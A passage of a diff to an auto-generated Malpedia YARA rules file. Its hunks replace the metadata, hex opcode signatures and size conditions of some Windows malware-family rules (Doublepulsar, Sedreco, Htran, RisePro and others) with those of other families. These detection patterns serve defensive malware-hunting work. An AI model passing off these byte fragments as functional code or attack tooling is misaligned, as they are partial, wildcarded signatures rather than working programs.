+		logic_hash = "905302ef095dc2c070563a8e4e5a8650bbd8c803b32ba6a0b53beb2cdcb2cfaa"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142652,40 +149589,34 @@ rule MALPEDIA_Win_Doublepulsar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 731b 8a44144d 8d7c244c 8844144c }
-		$sequence_1 = { 8d41ff 85c0 7c10 8a1430 80fa5c 7408 }
-		$sequence_2 = { 8bc1 8bf7 8bfa 89ac245c020000 c1e902 f3a5 8b542410 }
-		$sequence_3 = { 0f8423010000 8b13 68???????? 52 ffd6 83c408 85c0 }
-		$sequence_4 = { e8???????? 48 8b4520 48 8b4878 48 }
-		$sequence_5 = { 5b 81c4c8040000 c20800 a0???????? }
-		$sequence_6 = { 8bc3 5f 5e 5b c3 b8???????? 83f901 }
-		$sequence_7 = { 83c410 85c0 740a 68???????? e9???????? 8b442408 53 }
-		$sequence_8 = { 53 33c0 56 8b742420 }
-		$sequence_9 = { 83c151 57 51 ff5618 85c0 7404 31c0 }
-		$sequence_10 = { ffd6 83c408 85c0 0f84990e0000 8b03 68???????? }
-		$sequence_11 = { 7414 8b5640 8b4c2414 52 51 }
-		$sequence_12 = { 55 e8???????? 8bd8 85db 0f84a0000000 56 }
-		$sequence_13 = { 33c0 bade47773f 8d4848 f3aa }
-		$sequence_14 = { c1ea18 33c3 8b1c95f0354000 8b56fc 33c3 8b1c8df0414000 }
-		$sequence_15 = { 52 ff15???????? 8b4518 83c404 85c0 7517 a1???????? }
+		$sequence_0 = { 8b35???????? 7507 6af6 ffd6 894514 395d18 7507 }
+		$sequence_1 = { 50 8b4508 ff30 ff15???????? 8b45fc c9 }
+		$sequence_2 = { 5a e8???????? ff35???????? 6801000000 e8???????? 21c0 }
+		$sequence_3 = { e8???????? ba???????? 8d0d30b24000 e8???????? ba???????? 8d0d34b24000 e8???????? }
+		$sequence_4 = { 0fb6540c02 83e20f 0fb692e0904000 885005 0fb6540c03 c1ea04 0fb692e0904000 }
+		$sequence_5 = { ff35???????? e8???????? 21c0 0f846f020000 a1???????? }
+		$sequence_6 = { 50 a1???????? 50 50 e8???????? ff05???????? ff35???????? }
+		$sequence_7 = { b801000000 eb02 31c0 21c0 0f8409020000 a1???????? }
+		$sequence_8 = { e8???????? c21000 8b442404 85c0 7413 ff742408 ff30 }
+		$sequence_9 = { 83c404 6801000000 e9???????? 8b15???????? 31c9 e8???????? 750b }
 
 	condition:
-		7 of them and filesize <140288
+		7 of them and filesize <1955840
 }
-rule MALPEDIA_Win_Sedreco_Auto : FILE
+rule MALPEDIA_Win_Wpbrutebot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5e87e6b5-1a55-584a-943a-cd1c621a520c"
+		id = "ee6ef210-d105-53c3-a558-0e67b4040536"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sedreco_auto.yar#L1-L450"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wpbrutebot_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "480e943eac316911a45e26f995712fa56ee9e542b3cfeab42c526bed2d2dce35"
+		logic_hash = "709c38b5efc64910ec1c02f61c4cfca810d098711a98c2359e209f406eb3230c"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -142697,74 +149628,32 @@ rule MALPEDIA_Win_Sedreco_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 89450c 56 85c0 }
-		$sequence_1 = { c645ff30 e8???????? 85c0 7505 }
-		$sequence_2 = { 8bec 51 836d0804 53 }
-		$sequence_3 = { 836d0804 53 56 8b750c }
-		$sequence_4 = { 8b750c 56 e8???????? 6a08 }
-		$sequence_5 = { 50 68???????? 6a0d 68???????? }
-		$sequence_6 = { 51 6802020000 68???????? 50 }
-		$sequence_7 = { 7411 6a04 68???????? 68???????? }
-		$sequence_8 = { 7ce0 a1???????? 5e 85c0 }
-		$sequence_9 = { ff15???????? 83c604 81fe???????? 7ce0 }
-		$sequence_10 = { ffd6 8b0d???????? 898114010000 85c0 }
-		$sequence_11 = { ffd6 8b0d???????? 898198000000 85c0 }
-		$sequence_12 = { 56 be???????? 8b06 85c0 740f 50 }
-		$sequence_13 = { ffd6 8b0d???????? 894160 85c0 }
-		$sequence_14 = { ffd6 ffd0 a3???????? 5e 85c0 750a a1???????? }
-		$sequence_15 = { 6a01 68???????? ff35???????? ff15???????? ffd0 }
-		$sequence_16 = { 488b05???????? ff90e8000000 90 4883c420 }
-		$sequence_17 = { 68???????? e8???????? 8b35???????? 83c404 6a00 68???????? 6aff }
-		$sequence_18 = { 4889442420 41b906000200 4533c0 488b15???????? 48c7c101000080 488b05???????? ff9038010000 }
-		$sequence_19 = { 6800010000 6a00 68???????? e8???????? 6800020000 }
-		$sequence_20 = { ffd6 50 68???????? 6aff }
-		$sequence_21 = { 488b0d???????? 488b05???????? ff5010 85c0 }
-		$sequence_22 = { 50 68???????? 6aff 68???????? 6a00 6a00 ffd6 }
-		$sequence_23 = { 4883c428 c3 48890d???????? c3 48895c2410 4889742418 55 }
-		$sequence_24 = { 33d2 488d4c2450 488b05???????? ff90d8020000 }
-		$sequence_25 = { 4533c9 4533c0 ba000000c0 488b0d???????? 488b05???????? ff5040 }
-		$sequence_26 = { 448bc0 ba08000000 488b0d???????? ff15???????? 488905???????? }
-		$sequence_27 = { 488b0d???????? 488b05???????? ff5028 48c705????????00000000 }
-		$sequence_28 = { ffd6 8b4dfc 5f 5e 33cd b8???????? }
-		$sequence_29 = { 7cd5 68???????? e8???????? 8b4dfc 83c404 }
-		$sequence_30 = { 53 68???????? ff35???????? ffd6 ffd0 85c0 }
-		$sequence_31 = { e8???????? 8b8c2424020000 5b 33cc 33c0 e8???????? }
-		$sequence_32 = { 52 50 ff91f0000000 8bf0 }
-		$sequence_33 = { a1???????? 33c5 8945fc 6a0a 8d45f4 50 51 }
-		$sequence_34 = { 8d55f8 52 50 8b08 ff5124 }
-		$sequence_35 = { c20c00 6a02 ff74240c ff74240c e8???????? c20800 ff74240c }
-		$sequence_36 = { 57 50 ff512c 8bce }
-		$sequence_37 = { ff512c 8bf0 f7de 1bf6 46 }
-		$sequence_38 = { 8945fc 8b45f0 8945f4 8b45f4 }
-		$sequence_39 = { 50 8b08 ff9180000000 8b06 }
-		$sequence_40 = { ff512c 8bce 8bd8 e8???????? 57 }
-		$sequence_41 = { 57 c785ecfeffff01000000 c785e8feffffe197af54 0f6e85e8feffff 0f72f002 }
-		$sequence_42 = { 83ec24 53 56 57 c745dce197af54 }
-		$sequence_43 = { 8d443001 6a00 51 50 }
-		$sequence_44 = { 8d7901 8d4c2420 57 ff15???????? 84c0 }
-		$sequence_45 = { 6800040000 51 56 8974242c ff15???????? 85c0 0f8484010000 }
-		$sequence_46 = { 51 52 ff15???????? 8b442410 8b4e10 }
-		$sequence_47 = { a1???????? 8b00 8b4c2420 88440c18 }
-		$sequence_48 = { 85db 7548 fec8 53 b9???????? 8842ff }
-		$sequence_49 = { e8???????? 8a54240b 83c404 8b4c2430 895c2410 3bcb }
-		$sequence_50 = { 52 56 50 ff15???????? 6a01 }
-		$sequence_51 = { 8d442428 c684244010000001 8b11 8d4c2418 52 56 }
+		$sequence_0 = { 894f54 897758 89775c e9???????? 85c9 7515 c7475003000000 }
+		$sequence_1 = { f7472c00010000 b35d 7411 8b4730 6a5d 8b4804 8b01 }
+		$sequence_2 = { f6044dc81e5e0002 7410 8bc1 ba01000000 83f020 85d2 0f44c1 }
+		$sequence_3 = { c645fc04 8d8dfcf4ffff e8???????? 68???????? 8bd0 c645fc05 8d8d14f5ffff }
+		$sequence_4 = { ff742420 8b7a08 037c2420 89442448 c744244c01000000 897c2450 8b4a08 }
+		$sequence_5 = { c781f0050000bfe45900 5b 83c408 c3 5f 5e 5d }
+		$sequence_6 = { 7228 8bb504ffffff 8d8504ffffff 50 8bc8 e8???????? 8b8518ffffff }
+		$sequence_7 = { 8b44245c a802 b800000000 0f45d8 895c241c 85f6 7410 }
+		$sequence_8 = { f7e9 d1fa 8bc2 c1e81f 03c2 83f801 762b }
+		$sequence_9 = { ffb7ec0c0000 6a01 53 e8???????? 8be8 83c410 }
 
 	condition:
-		7 of them and filesize <1586176
+		7 of them and filesize <5134336
 }
-rule MALPEDIA_Win_Htran_Auto : FILE
+rule MALPEDIA_Win_Bughatch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "640e7099-e79d-52c5-9d59-7736988066fb"
+		id = "35614cb3-a7b5-53cc-adaa-ae210fa4a880"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.htran_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bughatch_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "572147b50538386d2f3141669299b284d93907b072e98ae962e15d37b04a8bad"
+		logic_hash = "5b28b48c5896cf30a835a51ee080a086478b951d2bf5768e0498fb91c61b534d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142778,32 +149667,32 @@ rule MALPEDIA_Win_Htran_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 8d8434f0a20000 55 50 53 }
-		$sequence_1 = { 8bc8 83e103 f3a4 8b4c2462 }
-		$sequence_2 = { 83c408 a1???????? 85c0 7405 }
-		$sequence_3 = { 50 51 ffd3 85c0 7d28 bf???????? 83c9ff }
-		$sequence_4 = { ffd5 8bf8 8b442440 50 ff15???????? 50 53 }
-		$sequence_5 = { 8b8424e0420100 33c9 894c2414 53 8b10 }
-		$sequence_6 = { 8816 46 eb0f 0fb6d2 f682c1c3400004 }
-		$sequence_7 = { 89442410 c705????????03000000 8b442410 8b0d???????? 49 743a }
-		$sequence_8 = { c20400 8b542404 8b0d???????? 3915???????? 56 b8???????? }
-		$sequence_9 = { 899424e8010000 89b424e8000000 899424e4000000 33c0 8d8c24e8000000 }
+		$sequence_0 = { 51 ff15???????? 68???????? 8d9594f7ffff 52 ff15???????? }
+		$sequence_1 = { 8d8594f7ffff 50 ff15???????? c745d80c000000 c745e001000000 c745dc00000000 8d4d94 }
+		$sequence_2 = { 52 6a00 8b45f8 50 ff15???????? 8945ec 837dec00 }
+		$sequence_3 = { 55 8bec 81ec30010000 c745e000000000 c745e860524000 }
+		$sequence_4 = { 894df4 8d55e4 52 8d4594 50 6a00 6a00 }
+		$sequence_5 = { 8b55ec 52 ff15???????? c745f801000000 8b45fc }
+		$sequence_6 = { 7308 8b45f8 8945f0 eb06 8b4d14 894df0 8b55f0 }
+		$sequence_7 = { ff15???????? 8b4de0 51 ff15???????? 8b45dc }
+		$sequence_8 = { 55 8bec 81ec60030000 837d0800 0f84d2000000 6a44 6a00 }
+		$sequence_9 = { e8???????? 83c40c 85c0 7407 c745fc01000000 8b45f8 50 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <75776
 }
-rule MALPEDIA_Win_Roll_Sling_Auto : FILE
+rule MALPEDIA_Win_Lightwork_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2ab89f07-526d-5404-82a8-065dc4627e90"
+		id = "c390e16c-2dcc-559e-9fd3-76f19a07f767"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roll_sling"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roll_sling_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightwork_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "57322c90ec2e7f0f9b25a02d63cfaa81737587c7821fd15face6c16907aace76"
+		logic_hash = "61817aa90179df111fa397aa30e99207b20a485779bb2cd0f0c3ecbb28869217"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142817,32 +149706,32 @@ rule MALPEDIA_Win_Roll_Sling_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c9 ff15???????? 48898424a8000000 4c8bf8 4885c0 7431 ff15???????? }
-		$sequence_1 = { 4c8b7dd8 3b5c2440 7306 488b4dd0 ebb9 498bcd }
-		$sequence_2 = { b80d000000 41bf0a000000 440f44f8 33db 4c03f7 0f1f4000 66660f1f840000000000 }
-		$sequence_3 = { 488b55d0 4883fa10 0f824effffff 48ffc2 488b4db8 488bc1 4881fa00100000 }
-		$sequence_4 = { 488905???????? 498bde 4883fa10 480f431d???????? 4803d9 41b823000000 }
-		$sequence_5 = { 0f86ec000000 eb0a 48b92700000000000080 e8???????? 4885c0 0f84cc000000 488d7827 }
-		$sequence_6 = { e8???????? 41c6042f00 48893e 488bc6 4c8b6c2460 488b7c2458 }
-		$sequence_7 = { 41b801010000 e8???????? 418bc6 4d8d4d10 4c8d3d04180100 41be04000000 }
-		$sequence_8 = { eb14 4889742420 4c8d4da0 488bd6 }
-		$sequence_9 = { 7476 48895c2438 4533c9 4533c0 48897c2420 bad8070000 }
+		$sequence_0 = { 0fb7442462 89442404 8b442464 890424 e8???????? }
+		$sequence_1 = { c3 55 89e5 83ec38 8b4508 83c07c 8945f0 }
+		$sequence_2 = { e8???????? 894508 837d0800 740b 8b4508 890424 }
+		$sequence_3 = { c645f700 807df700 0f85b1feffff 8b45ec 890424 e8???????? 8b45f0 }
+		$sequence_4 = { c9 c3 55 89e5 83ec28 c7042408000000 e8???????? }
+		$sequence_5 = { 8b4014 83c003 8945f4 8b450c }
+		$sequence_6 = { 894508 837d0800 741e 8b4508 890424 e8???????? }
+		$sequence_7 = { 8b45f8 83c002 01d0 0fb600 0fb6c0 c1e010 0145fc }
+		$sequence_8 = { e8???????? 8b4508 c780a401000000000000 90 c9 c3 55 }
+		$sequence_9 = { 894508 837d0800 740b 8b4508 890424 e8???????? 8b4508 }
 
 	condition:
-		7 of them and filesize <299008
+		7 of them and filesize <1132544
 }
-rule MALPEDIA_Win_Risepro_Auto : FILE
+rule MALPEDIA_Win_Penco_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aea6ceb4-8818-596f-b0ea-b016b3dee8c1"
+		id = "0506b7c6-0597-5673-b29d-0e2e4b0bbb8c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.risepro_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.penco"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.penco_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "4bf4a4e2719baa2456fbc7c987c0d3507fd8f7c3c54ce53243c1cdc1f6723c61"
+		logic_hash = "b907c123e9f48e051972fa4ccfde76e3114fafc16984b4ff739806928ca43da4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142856,32 +149745,32 @@ rule MALPEDIA_Win_Risepro_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb645ff 50 8b4de8 e8???????? 8b4dec 83c901 894dec }
-		$sequence_1 = { e8???????? 8945c8 8d4d0c e8???????? 8945cc 8d45d7 50 }
-		$sequence_2 = { 8bec 83ec0c 8955f8 894dfc 8b4dfc e8???????? 8bc8 }
-		$sequence_3 = { 894214 8b4df8 e8???????? 8945d4 837de010 }
-		$sequence_4 = { 8bcc 8965bc 8d552c 52 e8???????? 8945b8 c645fc04 }
-		$sequence_5 = { 33c0 8885eafeffff 33c9 888de9feffff }
-		$sequence_6 = { 6800000080 680000cf00 68???????? 68???????? 6800020000 ff15???????? 89859cfeffff }
-		$sequence_7 = { 6886e4fa74 6829895415 e8???????? 8b4dfc 894108 89510c }
-		$sequence_8 = { 33c5 8945ec 56 50 8d45f4 64a300000000 894da8 }
-		$sequence_9 = { 85ff 780f 3b3d???????? 7307 }
+		$sequence_0 = { 53 6a01 6800000080 8d9500010000 52 8b1d???????? }
+		$sequence_1 = { 3334bd00d83400 0fb67c2414 3334bd00d43400 8b4c241c 33700c 83c010 8bde }
+		$sequence_2 = { 40 89442418 3b442414 0f82fffeffff eb13 8d042e 68???????? }
+		$sequence_3 = { 741c 68???????? 68ff010f00 56 ff15???????? 56 85c0 }
+		$sequence_4 = { 0fbe80e8983400 83e00f 33f6 eb04 33f6 33c0 }
+		$sequence_5 = { 8d4598 50 6a00 6a00 8d4db8 51 8b55a4 }
+		$sequence_6 = { 33c0 84c9 7428 8d642400 80f930 7c1c 80f939 }
+		$sequence_7 = { 894c2418 8b4c2444 f7f1 33d2 c744242001000000 03442410 89442414 }
+		$sequence_8 = { 7504 8bf0 eb3e 6a0a }
+		$sequence_9 = { 8b349528e83400 8b542428 0fb6f9 3334bd00d83400 8b4c241c c1ea18 33349528ec3400 }
 
 	condition:
-		7 of them and filesize <280576
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Adkoob_Auto : FILE
+rule MALPEDIA_Win_Advisorsbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "09ef20a4-923f-52b9-be25-7277d044ed19"
+		id = "4423ed68-193a-5b69-9a0c-e4a68868d775"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.adkoob_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.advisorsbot_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "0f163717fb5860f8982d25c9dbbe18c357f664ad9d46a5bfca06cc794c00bf30"
+		logic_hash = "63e408f2b85153604b6cbce7b119689dceb4fed854cd697bc92427d51dad5ae1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142895,32 +149784,41 @@ rule MALPEDIA_Win_Adkoob_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff706c ffb0b0000000 8bc7 6a14 59 99 f7f9 }
-		$sequence_1 = { ff75f0 6a38 5a e8???????? 83c40c 8bce 40 }
-		$sequence_2 = { 8d5801 e9???????? 53 8bcf e8???????? 8b5dd8 84c0 }
-		$sequence_3 = { 8955f8 8b90d4000000 0fb6443b06 c1e108 0bc8 897de8 2bf1 }
-		$sequence_4 = { ff504c 85c0 7536 8b75dc 56 ff15???????? 50 }
-		$sequence_5 = { 8b7508 83fe09 7756 80beac1d4c0000 57 8b3d???????? 0f453d???????? }
-		$sequence_6 = { ff75e8 ff15???????? 837dd000 8b35???????? 7405 ff75d0 ffd6 }
-		$sequence_7 = { ff742418 68???????? e8???????? 83c40c 89442428 85c0 747b }
-		$sequence_8 = { ff7510 8bce ffb578ffffff ff75b8 ff7598 ffb564ffffff ff75c4 }
-		$sequence_9 = { 8b4744 52 50 8b08 ff5114 59 59 }
+		$sequence_0 = { 8bc1 2bc2 d1e8 03c2 c1e808 }
+		$sequence_1 = { 8bc2 33d2 c1e809 f7f1 }
+		$sequence_2 = { 8bc2 33d2 c1e808 f7f1 }
+		$sequence_3 = { b89b01a311 f7e1 2bca d1e9 03ca }
+		$sequence_4 = { d1e8 03c2 33d2 c1e809 }
+		$sequence_5 = { 8bc2 c1e809 33d2 f7f1 }
+		$sequence_6 = { 8b442408 8b4c2408 33d2 f7f1 }
+		$sequence_7 = { d1e9 03ca 33d2 c1e909 }
+		$sequence_8 = { d1e9 03ca c1e907 2bc1 }
+		$sequence_9 = { b839811338 f7e1 8bc1 2bc2 }
+		$sequence_10 = { d1e9 03ca c1e909 33c8 }
+		$sequence_11 = { 8bc2 33d2 c1e804 f7f1 }
+		$sequence_12 = { 8bca f7e2 8bc1 2bc2 }
+		$sequence_13 = { 668b4c2410 5f 5e 5d }
+		$sequence_14 = { 0fb7c1 0fb7ca 33d2 f7f1 }
+		$sequence_15 = { 0fb7c0 0fb7c9 33d2 f7f1 }
+		$sequence_16 = { 0fb6c0 0fb6c9 33d2 f7f1 }
+		$sequence_17 = { 8b442414 8b4c2414 33d2 f7f1 }
+		$sequence_18 = { 5e 5d 0fb7c2 5b }
 
 	condition:
-		7 of them and filesize <1867776
+		7 of them and filesize <434176
 }
-rule MALPEDIA_Win_Pgift_Auto : FILE
+rule MALPEDIA_Win_Woodyrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "77b72e7a-f170-5cb6-9a32-dd868251e29f"
+		id = "ce77dd1e-7a7f-526f-b26a-f53840a84ce1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pgift_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.woodyrat_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "5fec76c05b43d836fa9681344d4e2173c2fdd272e3aa573e02794115bc07ca47"
+		logic_hash = "f0e3660df6e09cfccf9351d956d7545670538be69e20bfd57639d1e54207defb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142934,32 +149832,32 @@ rule MALPEDIA_Win_Pgift_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 ff7508 e8???????? 83450804 83c304 }
-		$sequence_1 = { 2bc8 c1f902 7454 50 8d4de8 }
-		$sequence_2 = { 50 0fb745d4 50 8d45ec ff760c }
-		$sequence_3 = { 8d4df0 c645fc02 e8???????? ff750c }
-		$sequence_4 = { 83f8ff 741e 53 50 8d4de8 e8???????? ff75e8 }
-		$sequence_5 = { 8d4df0 ff3498 e8???????? 83f8ff }
-		$sequence_6 = { 33db 8d4dec 895dfc e8???????? 8d8dd0feffff 895de8 e8???????? }
-		$sequence_7 = { c645fc03 897e38 897e34 897e30 e8???????? 3bc7 }
-		$sequence_8 = { ff7634 53 50 e8???????? 83c40c 8d4638 }
-		$sequence_9 = { 8d4de8 e8???????? 6a5c 8d4de8 c645fc01 }
+		$sequence_0 = { 8b75ec 8985a4ebffff ffb5bcebffff e8???????? 8b7de4 83c404 837de800 }
+		$sequence_1 = { 8d4e4c 54 6a00 e8???????? 8bc8 e8???????? 8d4dd8 }
+		$sequence_2 = { 8d4710 50 8d45cc 50 e8???????? 84c0 7403 }
+		$sequence_3 = { e8???????? c645fc03 8b55cc 83fa10 722c 8b4db8 42 }
+		$sequence_4 = { 8b4328 8bd8 3bfb 742d 8b0f 8b01 ff5008 }
+		$sequence_5 = { 8bc8 83781410 7202 8b08 83781004 753b 8b01 }
+		$sequence_6 = { 83c408 8d4508 6a00 84db 7428 837d1c08 6800000002 }
+		$sequence_7 = { 50 e8???????? 8b7d80 83c404 e9???????? c645fc00 }
+		$sequence_8 = { 7607 be55555515 eb07 03f1 3bf2 0f42f2 }
+		$sequence_9 = { 745d 40 50 e8???????? 8bf0 8b45c8 40 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <785408
 }
-rule MALPEDIA_Win_Tclient_Auto : FILE
+rule MALPEDIA_Win_Rctrl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f2038e8d-aea1-548a-a845-014bf9e62586"
+		id = "60ae096f-d5f7-57d0-b6f9-cb53f8d1b760"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tclient_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rctrl_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "d731098e1e4af77da640d6018efa5a27e1199a8bfd1426735ef45625c1645468"
+		logic_hash = "0c64a52ce76fbe6b25b4079783722f9c8bfa120e4543946e41c97eea8cb03d4d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142973,32 +149871,32 @@ rule MALPEDIA_Win_Tclient_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8be5 5d c21800 b8???????? e8???????? 83ec70 53 }
-		$sequence_1 = { 6685f6 7411 0fb7c2 42 885c0804 0fb7c2 42 }
-		$sequence_2 = { e9???????? 6a44 8d442444 53 50 e8???????? 33c0 }
-		$sequence_3 = { 50 8d0419 57 50 e8???????? 83c40c b880000000 }
-		$sequence_4 = { 894db0 2345a8 33c2 c1c105 034e28 81c29979825a 8b75a8 }
-		$sequence_5 = { 8b00 2bc1 8d4a01 3bc1 0f4cc8 894dec 85c9 }
-		$sequence_6 = { 59 59 85c0 7443 e9???????? 85f6 741e }
-		$sequence_7 = { 57 e8???????? 8b4304 2b4508 50 ff7508 }
-		$sequence_8 = { 6bc930 8b0495c0a04700 c644012801 8b0495c0a04700 897c0118 8bfe e9???????? }
-		$sequence_9 = { 89bebc010000 8a8398000000 888675030000 0fb68398000000 50 8d4366 50 }
+		$sequence_0 = { e8???????? 85c0 0f8440030000 8b10 8bc8 ff520c 83c010 }
+		$sequence_1 = { 8bf0 56 6a00 6a00 ff15???????? 33c9 894508 }
+		$sequence_2 = { 6a06 e8???????? cc b8???????? c3 55 8bec }
+		$sequence_3 = { 8b473c 8985d4feffff e8???????? 85c0 0f85ef000000 814f2400000400 8b85d8feffff }
+		$sequence_4 = { 33c0 40 8be5 5d c20800 6a14 b8???????? }
+		$sequence_5 = { 898368040000 03c8 83bd7cffffff00 7433 8b855cffffff 8db328040000 03c1 }
+		$sequence_6 = { 75cc 8d4dc8 e8???????? e9???????? e8???????? ffb6f8000000 e8???????? }
+		$sequence_7 = { ff750c 8bd6 e8???????? 8b4518 8d0c3e 8d1400 }
+		$sequence_8 = { 85c0 0f94c0 84c0 7423 6a00 6a00 57 }
+		$sequence_9 = { ff7008 ff75f0 e8???????? 8bf0 eb02 }
 
 	condition:
-		7 of them and filesize <1063936
+		7 of them and filesize <4315136
 }
-rule MALPEDIA_Win_Vendetta_Auto : FILE
+rule MALPEDIA_Win_Zupdax_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "966ae160-05eb-53d3-b86d-ed42268f2f0c"
+		id = "0a0ddf15-919a-51b3-8d2b-36d56a66b11c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vendetta_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zupdax_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "4fce9b15fe513b7322e530a7cc2cb9b1afb7d5162c1238338f15db6a45fbd5fd"
+		logic_hash = "b6e9bce8da2b32bfb52c3b6477d889790098710bc4ce9f32e2c7bd1bace10557"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143012,32 +149910,32 @@ rule MALPEDIA_Win_Vendetta_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b04c5e06f4100 5d c3 33c0 5d }
-		$sequence_1 = { 83c408 84c0 0f845d010000 6a00 51 0bf9 }
-		$sequence_2 = { 660f2815???????? f20f59db 660f282d???????? 660f59f5 660f28aa30914100 }
